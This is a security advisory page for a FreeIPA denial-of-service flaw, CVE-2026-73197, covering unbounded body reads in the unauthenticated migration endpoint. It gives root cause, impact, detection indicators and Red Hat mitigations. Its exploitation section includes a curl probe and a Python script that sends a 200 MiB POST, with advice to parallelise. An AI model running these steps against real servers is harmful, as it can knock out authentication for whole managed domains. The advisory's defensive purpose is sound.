CVE-2026-73197: 
NixOS vulnerability analysis and mitigation

CVE-2026-73197 is a denial-of-service vulnerability in FreeIPA (Red Hat's ipa package) caused by unbounded request body reads in the /ipa/migration/migration.py WSGI endpoint. A remote, unauthenticated attacker can send oversized form POST requests to this endpoint, forcing the migration handler to read attacker-controlled data fully into memory, leading to memory exhaustion and service disruption. The vulnerability was reported by AISLE Research, filed in Bugzilla on 2026-05-11, and publicly disclosed on 2026-08-20. It carries a CVSS v3.1 base score of 7.5 (High) (Red Hat CVE, GitHub Advisory).

The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerable code in install/migration/migration.py reads the full request body based on the attacker-supplied CONTENT_LENGTH header without imposing any upper bound before the read: query_string = environ["wsgi.input"].read(length).decode("utf-8"). The Apache configuration shipped with FreeIPA exposes the /ipa/migration endpoint without authentication (Require all granted), meaning no credentials are needed to reach the vulnerable code path. An attacker only needs network access to the endpoint and the ability to send large application/x-www-form-urlencoded POST requests (Red Hat Bugzilla).

Successful exploitation causes increased memory consumption in Apache/WSGI worker processes, slower request handling, and potential worker recycling or full service disruption of the FreeIPA identity management service. Because FreeIPA provides centralized authentication and directory services, a sustained DoS attack could prevent users and systems from authenticating, impacting availability across the entire managed domain. There is no confidentiality or integrity impact — the vulnerability is strictly an availability issue (Red Hat CVE, Red Hat Bugzilla).

No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is 0.0, indicating very low current probability of exploitation in the wild, and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory). Exploitation is straightforward — it requires only network access and the ability to send large HTTP POST requests, with no authentication or special preconditions beyond the migration endpoint being enabled and reachable (Red Hat Bugzilla).

1. Reconnaissance: Identify FreeIPA servers exposing the /ipa/migration/migration.py endpoint over HTTPS (typically port 443), using network scanning tools such as Nmap or Shodan targeting known FreeIPA deployments.
2. Verify endpoint accessibility: Confirm the endpoint is reachable without authentication using a simple POST request:

curl -k -i https://<target>/ipa/migration/migration.py -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=a&password=b'

3. Send oversized POST body: Craft and send a large application/x-www-form-urlencoded POST request to force memory allocation in the WSGI worker:

import requests
u = 'https://<target>/ipa/migration/migration.py'
d = 'username=a&password=' + 'A' * (200 * 1024 * 1024)  # 200 MiB body
print(requests.post(u, data=d, headers={'Content-Type': 'application/x-www-form-urlencoded'}, verify=False, timeout=120).status_code)

4. Repeat or parallelize: Send multiple concurrent oversized requests from one or more clients to amplify memory pressure across multiple WSGI workers.
5. Observe impact: Monitor for increased RSS on httpd/WSGI worker processes, slower response times, worker recycling, or full service unavailability of the FreeIPA web interface and authentication services (Red Hat Bugzilla).

• Network: Unusually large HTTP POST requests (hundreds of MiB) to /ipa/migration/migration.py from external or unexpected source IPs; high volume of concurrent POST requests to the migration endpoint.
• Logs: Apache access logs (/var/log/httpd/access_log) showing repeated large POST requests to /ipa/migration/migration.py with very high Content-Length values; error log entries indicating WSGI worker restarts or memory-related failures.
• Process: Elevated RSS/memory usage on httpd worker processes observable via top, ps, or system monitoring tools; unexpected worker process recycling or crashes associated with the mod_wsgi handler.
• System: Increased swap usage or OOM killer events in /var/log/messages or dmesg output coinciding with requests to the migration endpoint (Red Hat Bugzilla).

Red Hat recommends two immediate mitigations while a patched package is pending. First, if the /ipa/migration endpoint is not required, disable it by commenting out the Alias /ipa/migration directive and its corresponding <Location> block in /etc/httpd/conf.d/ipa.conf. Second, if the endpoint must remain active, add a LimitRequestBody directive within the migration endpoint's configuration block to cap request body size (e.g., LimitRequestBody 1048576 for 1 MiB). A proposed code-level fix adds a MAX_REQUEST_BODY = 1024 * 1024 constant and rejects requests exceeding this limit before reading from wsgi.input. After any Apache configuration change, reload or restart httpd to apply the changes. A tracker for a formal package fix has been filed for RHEL 10.3 (RHEL-188996) (Red Hat CVE, Red Hat Bugzilla).

The vulnerability was credited to AISLE Research by Red Hat. Social media coverage was limited to automated vulnerability tracking accounts, including a Mastodon post from @thehackerwire shortly after disclosure. No significant independent researcher commentary or broader media coverage has been identified as of the disclosure date (Red Hat CVE).